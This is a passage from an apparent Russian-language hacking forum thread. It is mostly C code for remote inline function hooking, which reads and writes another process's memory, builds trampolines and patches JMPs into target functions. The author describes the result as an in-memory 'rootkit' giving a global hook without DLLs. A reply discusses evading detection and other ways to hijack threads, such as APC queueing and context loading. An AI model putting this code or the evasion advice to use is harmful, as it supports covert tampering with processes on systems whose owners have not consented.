PBYTE pbOrgFuncBuf = pSplice->bufOrgFunc; //// Проверка указателей //if (IsBadWritePtr(pbOrgFuncBuf, 64) || IsBadReadPtr(lpOrgFunc, 5)) // return false; lpHookFunc = (PBYTE)lpHookFunc + ImageBaseDelta; pbOrgFuncBuf += ImageBaseDelta; // Читаем 0x1000 байт от начала функции, которую собираемся перехвачивать // //NTSYSAPI NTSTATUS NTAPI //NtReadVirtualMemory( // IN HANDLE ProcessHandle, // IN PVOID BaseAddress, // OUT PVOID Buffer, // IN ULONG NumberOfBytesToRead, // OUT PULONG NumberOfBytesReaded OPTIONAL ); BYTE Buffer[0x1000]; ULONG NumberOfBytesToRead = sizeof(Buffer); ULONG NumberOfBytesReaded; NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, lpOrgFunc, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return false; // Перехвачена ли функция? // // Чтобы это выяснить, мы должны проследовать по JMP'у в начале // этой функции и посмотреть - есть ли там "инструкции-маркеры" hde32s hs; hde32_disasm( (LPVOID)Buffer, &hs ); if ( hs.flags & F_ERROR ) return false; if (hs.opcode == JMP) { LPVOID addr = (LPVOID)( (DWORD)Buffer + hs.len + hs.imm.imm32 ); NumberOfBytesToRead = sizeof(Buffer); stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, addr, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return false; addr = (LPVOID)( Buffer ); for (DWORD i = 0; i < 0x1000; ) { hde32_disasm((LPVOID) ((DWORD)addr + i), &hs); // need to fix if ( hs.opcode == RETN1 || hs.opcode == RETN2 || hs.opcode == INT3 ) break; if ( hs.flags & F_ERROR ) return false; i += hs.len; if (hs.opcode == INC_EAX) { hde32_disasm((LPVOID) ((DWORD)addr + i), &hs); if ( hs.flags & F_ERROR ) return false; i += hs.len; if (hs.opcode == DEC_EAX) return false; } } } // Копируем начало функции по адресу lpOrgFunc (Buffer) // Для определния дли инструкций используем HDE32 // //ZeroMemory(pbOrgFuncBuf, szBuf); BYTE emptyBuf[64] = {0}; DWORD szBuf = 64; // 64 байта - максимальный размер буфера DWORD NumberOfBytesWritten; stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, emptyBuf, szBuf, &NumberOfBytesWritten); if (NT_ERROR(stat) || (szBuf != NumberOfBytesWritten)) return false; DWORD szBufCode; if ( (szBufCode = GetBridgeLength(Buffer, szBuf)) == FALSE ) { return false; } // ok pSplice->szBufOrgFunc = szBufCode; // Копируем начало функции по адресу lpOrgFunc (Buffer) //CopyMemory((PBYTE)pbOrgFuncBuf, Buffer, szBufCode); stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, szBufCode, &NumberOfBytesWritten); if (NT_ERROR(stat) || (szBufCode != NumberOfBytesWritten)) return false; // Пробегаемся по коду и смотрим, есть ли в скопированном коде инструкции JMP или CALL // Если есть - правим аргументы ZeroMemory(Buffer, 0x1000); NumberOfBytesToRead = szBufCode; stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return false; for (DWORD i = 0; i < szBufCode; i += hs.len) { hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs); if ( hs.flags & F_ERROR ) break; if (hs.opcode == JMP || hs.opcode == CALL) { DWORD arg = hs.imm.imm32; DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf ); //*(PDWORD) ( (DWORD)pbOrgFuncBuf + (i + 1) ) = arg + offset; DWORD dwp = arg + offset; stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, (DWORD)pbOrgFuncBuf + (i + 1), &dwp, sizeof(DWORD), &NumberOfBytesWritten); if (NT_ERROR(stat) || (sizeof(DWORD) != NumberOfBytesWritten)) return false; } } // В конец добавляем JMP на адрес функции lpOrgFunc, с учётом смещения в szBufCode байт DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf ) - ( 1 + sizeof(DWORD) ); //*(PBYTE) ( (DWORD)pbOrgFuncBuf + szBufCode ) = JMP; //*(PDWORD) ((DWORD)pbOrgFuncBuf + (szBufCode + 1)) = offset; BYTE bufOrgFuncBuf[5] = {0}; bufOrgFuncBuf[0] = JMP; *(PDWORD)((DWORD)bufOrgFuncBuf + 1) = offset; DWORD pbOrgFuncBufP2 = (DWORD)pbOrgFuncBuf + szBufCode; stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBufP2, bufOrgFuncBuf, sizeof(bufOrgFuncBuf), &NumberOfBytesWritten); if (NT_ERROR(stat) || ((DWORD)sizeof(bufOrgFuncBuf) != NumberOfBytesWritten)) return false; // Разрешаем запись в страницу с кодом DWORD old = 0; //HANDLE hProcess = (HANDLE)-1; //NTSTATUS stat; LPVOID BaseAddress = lpOrgFunc; DWORD NumberOfBytesToProtect = szBufCode; //stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_READWRITE, &old); stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_EXECUTE_READWRITE, &old); if (!NT_SUCCESS(stat)) return false; // NumberOfBytesToProtect : Pointer to size of region to protect. On output will be round to page size (4KB). // Ставим JMP в начало оригинальной функции на функцию-перехватчик offset = ((DWORD) lpHookFunc - (DWORD) lpOrgFunc) - (1 + sizeof(DWORD)); //*(PBYTE)lpOrgFunc = JMP; //*(PDWORD)((DWORD)lpOrgFunc + 1) = offset; BYTE bufOrgFuncRepl[5] = {0}; bufOrgFuncRepl[0] = JMP; *(PDWORD)((DWORD)bufOrgFuncRepl + 1) = offset; //DWORD NumberOfBytesWritten; //BOOL res = WriteProcessMemory(hProcess, lpOrgFunc, (LPCVOID)bufOrgFuncRepl, sizeof(bufOrgFuncRepl), &NumberOfBytesWritten); stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, lpOrgFunc, bufOrgFuncRepl, sizeof(bufOrgFuncRepl), &NumberOfBytesWritten); //if ( !res || (NumberOfBytesWritten != (DWORD)sizeof(bufOrgFuncRepl)) ) if ( !NT_SUCCESS(stat) || (NumberOfBytesWritten != (DWORD)sizeof(bufOrgFuncRepl)) ) return false; //// Восстанавливаем старые атрибуты страницы //BaseAddress = lpOrgFunc; //NumberOfBytesToProtect = szBufCode; //stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, old, &old); //if (!NT_SUCCESS(stat)) // return false; // Ништяк return true; } DWORD GetBridgeLength(LPVOID lpAddress, DWORD szMaxBridgeSize) { DWORD i; hde32s hs; for (i = 0; i < szMaxBridgeSize; ) { // 5 bytes min (!) hde32_disasm((LPVOID) ((DWORD)lpAddress + i), &hs); if ( hs.flags & F_ERROR ) break; i += hs.len; // Если встерим Short-Relative команду - возвращаем FALSE, // т.к. Такой stuff unsupported yet if ( (hs.opcode >= JO_SHORT && hs.opcode <= JG_SHORT) || (hs.opcode >= LOOPNE && hs.opcode <= JECXZ) || hs.opcode == JMP_SHORT ) break; if (i >= 5) break; } if ( (i < 5) || (i >= szMaxBridgeSize) ) return 0; return i; } DWORD GetRemoteBridgeLength(HANDLE hProcess, LPVOID lpAddress, DWORD szMaxBridgeSize) { BYTE Buffer[0x1000]; ULONG NumberOfBytesToRead = sizeof(Buffer); ULONG NumberOfBytesReaded; NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, lpAddress, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return 0; DWORD i; hde32s hs; for (i = 0; i < szMaxBridgeSize; ) { // 5 bytes min (!) hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs); if ( hs.flags & F_ERROR ) break; i += hs.len; // Если встерим Short-Relative команду - возвращаем FALSE, // т.к. Такой stuff unsupported yet if ( (hs.opcode >= JO_SHORT && hs.opcode <= JG_SHORT) || (hs.opcode >= LOOPNE && hs.opcode <= JECXZ) || hs.opcode == JMP_SHORT ) break; if (i >= 5) break; } if ( (i < 5) || (i >= szMaxBridgeSize) ) return 0; return i; } DWORD CopyPartOfRemoteFunc(HANDLE hProcess, PSPLICE pSplice) { ULONG NumberOfBytesToRead = sizeof pSplice->bufOrgFuncBck; ULONG NumberOfBytesReaded; NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, pSplice->lpOrgFunc, pSplice->bufOrgFuncBck, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return 1; return 0; } Вообще, чего я хотел этим добиться? - Я хотел без использования DLL'ок сделать глобальный хук. Примечательно и то, что shellcode не пришлось писать. Это офигенно удобно. Хотя, это не есть гут, т.к. подобный "руткит" в памяти занимает порядка ~10 страниц. Если бы инжектить shellcode - было бы гораздо экономнее и вообще, быстрее.
Ремо не знал главного, это суть захвата, либо знал но не говорил.. Для ночала нужно было разрулить меаниз запуска тредов. Если изменяется код в памяти, то не имеет значения адрес, по которому меняется значение. Тысячи/десятки тысяч инструкций будут исполнены до передачи управления на еп. Любое место в процессе исполнения может быть изменено. Палиться будет только запись через ссдт, либо ваша модификация кода. Иначе детекта не будет, не сущетсвует более-менее вменяемых тулз для этого. Это не руткит, он по определению не может быть обнаружен элементарными средствами, такими как сравнение секций кода в памяти и на диске. Не знаю что вы там задумали, но оно никому не нужно, куча вариантов, поставить апк в очередь этого треда, либо контекст загрузить, да и вобще стопяцот калбэков всевозможных можно использовать, мехонизм исключений и пр. Само грустно что абсолютно все выбирают наихудший и обычно самый лёгкий путь решения(тут обратное), часто не понимая что они делают и зачем оно нужно, ибо как оное копипаст, мы по этому поводу негодуем.. наверно тут идёт сугубо откатка опыта в написании скриптов(быдло практикуется), тогда я ошибся темой.